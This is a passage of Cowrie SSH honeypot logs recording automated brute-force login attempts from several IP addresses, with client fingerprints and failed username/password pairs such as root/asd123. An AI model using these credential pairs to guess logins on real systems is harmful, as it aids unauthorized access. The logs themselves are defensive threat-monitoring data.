{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:18.449014Z","src_ip":"192.109.200.78","session":"15a922258a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"8888","message":"login attempt [user/8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:18.623428Z","src_ip":"223.247.153.211","session":"0bbe6299ad8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:18.654757Z","src_ip":"176.65.139.95","session":"d8ad68f1dceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:18.699365Z","src_ip":"192.109.200.78","session":"15a922258a42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:19.206594Z","src_ip":"80.94.92.186","session":"00446fc58754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:19.788399Z","src_ip":"192.109.200.78","session":"15a922258a42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:19.874096Z","src_ip":"223.247.153.211","session":"0bbe6299ad8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56810,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec15fc37edd6","protocol":"ssh","message":"New connection: 192.109.200.78:56810 (159.203.135.109:22) [session: ec15fc37edd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:22.506546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:22.511771Z","src_ip":"192.109.200.78","session":"ec15fc37edd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:22.594375Z","src_ip":"192.109.200.78","session":"ec15fc37edd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:22.845510Z","src_ip":"192.109.200.78","session":"ec15fc37edd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44680,"dst_ip":"159.203.135.109","dst_port":22,"session":"518daa726d8b","protocol":"ssh","message":"New connection: 176.65.139.95:44680 (159.203.135.109:22) [session: 518daa726d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:23.064901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:23.069870Z","src_ip":"176.65.139.95","session":"518daa726d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:23.199385Z","src_ip":"176.65.139.95","session":"518daa726d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:23.543980Z","src_ip":"176.65.139.95","session":"518daa726d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:23.935349Z","src_ip":"192.109.200.78","session":"ec15fc37edd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:24.938290Z","src_ip":"176.65.139.95","session":"518daa726d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56812,"dst_ip":"159.203.135.109","dst_port":22,"session":"c30853b5443d","protocol":"ssh","message":"New connection: 192.109.200.78:56812 (159.203.135.109:22) [session: c30853b5443d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:26.487526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:26.492904Z","src_ip":"192.109.200.78","session":"c30853b5443d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:26.580468Z","src_ip":"192.109.200.78","session":"c30853b5443d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:26.828208Z","src_ip":"192.109.200.78","session":"c30853b5443d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:27.995646Z","src_ip":"192.109.200.78","session":"c30853b5443d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35970,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bd74a1061ac","protocol":"ssh","message":"New connection: 176.65.139.95:35970 (159.203.135.109:22) [session: 7bd74a1061ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:29.380551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:29.387102Z","src_ip":"176.65.139.95","session":"7bd74a1061ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:29.489014Z","src_ip":"176.65.139.95","session":"7bd74a1061ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:29.761562Z","src_ip":"176.65.139.95","session":"7bd74a1061ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47586,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2af405820d2","protocol":"ssh","message":"New connection: 192.109.200.78:47586 (159.203.135.109:22) [session: b2af405820d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:30.514529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:30.559269Z","src_ip":"192.109.200.78","session":"b2af405820d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:30.631765Z","src_ip":"192.109.200.78","session":"b2af405820d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:30.845838Z","src_ip":"176.65.139.95","session":"7bd74a1061ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:30.930578Z","src_ip":"192.109.200.78","session":"b2af405820d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:32.021518Z","src_ip":"192.109.200.78","session":"b2af405820d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47592,"dst_ip":"159.203.135.109","dst_port":22,"session":"916ac12ace17","protocol":"ssh","message":"New connection: 192.109.200.78:47592 (159.203.135.109:22) [session: 916ac12ace17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:34.623663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:34.628075Z","src_ip":"192.109.200.78","session":"916ac12ace17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:34.718611Z","src_ip":"192.109.200.78","session":"916ac12ace17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:34.970088Z","src_ip":"192.109.200.78","session":"916ac12ace17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:36.110455Z","src_ip":"192.109.200.78","session":"916ac12ace17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35982,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed5ed602ef30","protocol":"ssh","message":"New connection: 176.65.139.95:35982 (159.203.135.109:22) [session: ed5ed602ef30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:36.159812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:36.165354Z","src_ip":"176.65.139.95","session":"ed5ed602ef30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:36.249218Z","src_ip":"176.65.139.95","session":"ed5ed602ef30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:36.515687Z","src_ip":"176.65.139.95","session":"ed5ed602ef30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:37.609391Z","src_ip":"176.65.139.95","session":"ed5ed602ef30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43554,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a5f36820c0f","protocol":"ssh","message":"New connection: 192.109.200.78:43554 (159.203.135.109:22) [session: 5a5f36820c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:38.645006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:38.777890Z","src_ip":"192.109.200.78","session":"5a5f36820c0f","protocol":"ssh"}
